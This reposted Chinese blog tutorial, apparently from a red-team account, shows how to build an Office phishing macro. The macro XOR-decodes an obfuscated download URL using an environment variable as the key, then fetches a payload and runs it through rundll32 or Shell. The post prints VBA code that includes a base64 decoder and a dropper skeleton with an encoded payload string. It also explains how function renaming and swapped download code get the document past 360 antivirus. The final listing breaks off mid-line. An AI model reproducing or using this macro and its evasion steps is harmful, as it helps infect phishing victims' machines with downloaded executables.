前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >office解密宏钓鱼

office解密宏钓鱼

作者头像
Jumbo
发布2020-11-03 14:55:54
7420
发布2020-11-03 14:55:54
举报
文章被收录于专栏:中国白客联盟中国白客联盟
今天看到一篇主题是关于解密远程url地址,然后下载回本地进行rundll32调用的宏钓鱼文章,觉得挺有意思,就复现下。

office宏钓鱼就不多说了,在之前红蓝对抗之邮件钓鱼攻击 也有所提及。

常见的宏钓鱼手段,都是利用cobaltstrike直接生成,但是经常容易被杀掉,绕过手段也在上文提到,这次来了解下其他手段。

在“钓鱼文档碎碎念(三)”文章提到了原文作者的一些思路,但是没有给出完整的代码,这次本着学习vb的想法来看下这个宏钓鱼的流程。

首先把下载的恶意url利用环境变量进行xor编码:http://www.vbaexpress.com/kb/getarticle.php?kbid=951,这里使用的是大概率不变的环境变量(我本地win10也是这个值),PROCESSORREVISION:9e0a

原文作者把base64解码过的url放到宏中进行xor解码,但是解码出来是乱码,放到宏中有些不妥,甚至会无法识别:

因此这里我改成了把xor的值进行base64编码下,然后再base64解码:

Function GetByte(needle) Dim haystack haystack = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" GetByte = InStr(1, haystack, needle, vbBinaryCompare) - 1 If GetByte = -1 Then Err.Raise 513, "DecodeBase64", "Invalid character in base64 string" End If End Function Private Function DecodeBase64(strData) Dim i, inCount, outCount, firstTime Dim inArray(0 To 3) As Integer Dim outArray() As Byte If Len(strData) Mod 4 <> 0 Then Err.Raise 514, "DecodeBase64", "Base64 string length is not multiple of four" End If Rem Each quartet generates up to three bytes. firstTime = True While Len(strData) > 0 Rem Get incoming values (up to "="), counting them. inCount = 0 For i = 1 To 4 If Mid(strData, i, 1) <> "=" Then inArray(i - 1) = GetByte(Mid(strData, i, 1)) inCount = inCount + 1 Else Exit For End If Next Rem Must have four non-"=" characters unless at end. If Len(strData) > 4 And inCount <> 4 Then Err.Raise 515, "DecodeBase64", "Base64 string has '=' characters in middle" End If Rem Must have at least two non-"=" characters. If inCount < 2 Then Err.Raise 516, "DecodeBase64", "Base64 string has invalid ending" End If Rem Work out output bytes based on input (2->1, 3->2, 4->3) and expand array. outCount = inCount - 1 If firstTime Then ReDim outArray(outCount - 1) firstTime = False Else ReDim Preserve outArray(UBound(outArray) + outCount) End If Rem Add elements to output. outArray(UBound(outArray) + 1 - outCount) = (inArray(0) And &H3F) * 4 + (inArray(1) And &H30) / 16 If outCount >= 2 Then outArray(UBound(outArray) + 2 - outCount) = (inArray(1) And &HF) * 16 + (inArray(2) And &H3C) / 4 End If If outCount >= 3 Then outArray(UBound(outArray) + 3 - outCount) = (inArray(2) And &H3) * 64 + (inArray(3) And &H3F) End If strData = Mid(strData, 5) Wend DecodeBase64 = outArray End Function

变成下面这样:

解码出url后,下来回来,然后调用rundll32执行。

但是当我利用360查杀时,发现会提示宏病毒:

尝试进行删减部分代码,来判断具体被查杀的点,发现xor编码的函数会被查杀,因此修改XorC函数名,可以绕过360对xor函数的查杀。除了xor以外,发现下载文件的函数也被查杀了,因此网上随便找个下载文件的代码即可绕过。

最后成功调用rundll32执行下载回来的dll,虽然word文档不被查杀了,但是还是会被360查杀,会提示你调用rundll32了。

因此可以换个思路,不下载dll,而是直接下载个exe,然后利用shell去执行就行:

完成代码如下:

Option ExplicitSub test() Dim sKey As String Dim payload As String Dim DownloadURL As String Dim Godownload As String Dim dllpath As String sKey = Environ("PROCESSOR_REVISION") payload = StrConv(DecodeBase64("eHh4UhJFEktgIE9PE0hQWw5aEFkIUglTAUNQWwteT1sFXQMYAl0O"), vbUnicode) DownloadURL = XororC(payload, sKey) dllpath = Downloadstring(DownloadURL) Godownload = Rundll(dllpath)End Sub Function Rundll(ByVal dllpath As String) As StringShell (dllpath) End Function Function Downloadstring(ByVal DownloadURL As String) As StringDim oStream As ObjectDim myURL As StringDim savename As Stringsavename = "test.exe"Dim dstPath As StringdstPath = Environ

PS:

1、在依葫芦画瓢的时候,发现代码会提示你变量未定义,记得Dim来定义下,string就写string,object就写object。

2、function函数return的时候,就写functionname = 值 即可

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-10-30,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 中国白客联盟 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档